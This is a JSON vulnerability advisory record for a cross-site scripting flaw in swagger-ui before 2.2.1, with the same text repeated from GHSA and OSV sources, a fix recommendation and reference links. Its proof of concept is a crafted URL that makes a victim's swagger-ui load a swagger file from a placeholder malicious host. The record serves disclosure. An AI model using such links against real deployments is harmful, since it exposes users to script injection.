{"id":"CVE-2016-1000226","aliases":["GHSA-7f59-x49p-v8mq"],"status":"published","title":"Cross-Site Scripting in swagger-ui","description":"Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://\u003cUSER_HOSTNAME\u003e/swagger-ui/index.html?url=http://\u003cMALICIOUS_HOSTNAME\u003e/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2020-09-01T15:28:45Z","modified":"2023-11-08T03:58:07Z","fixes":[{"ecosystem":"npm","package":"swagger-ui","fixed_in":["2.2.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"swagger-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}]},{"source":"osv","ecosystem":"npm","package":"swagger-ui","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}]}],"references":[{"url":"https://github.com/swagger-api/swagger-ui/issues/1866","tags":["web"]},{"url":"https://github.com/swagger-api/swagger-ui/pull/1867","tags":["web"]},{"url":"https://www.npmjs.com/advisories/123","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-1000226","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7f59-x49p-v8mq"},{"url":"https://github.com/swagger-api/swagger-ui","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-7f59-x49p-v8mq","title":"Cross-Site Scripting in swagger-ui","description":"Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://\u003cUSER_HOSTNAME\u003e/swagger-ui/index.html?url=http://\u003cMALICIOUS_HOSTNAME\u003e/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.","status":"published","published":"2020-09-01T15:28:45Z","modified":"2023-01-09T05:03:43Z","cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:06.317379Z"}],"osv":[{"id":"GHSA-7f59-x49p-v8mq","title":"Cross-Site Scripting in swagger-ui","description":"Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.\n\nAdditionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.\n\n## Proof of Concept\n\n```\nhttp://\u003cUSER_HOSTNAME\u003e/swagger-ui/index.html?url=http://\u003cMALICIOUS_HOSTNAME\u003e/malicious-swagger-file.json\n````\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.","status":"published","published":"2020-09-01T15:28:45Z","modified":"2023-11-08T03:58:07.537176Z","cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:41.002603Z"}]}}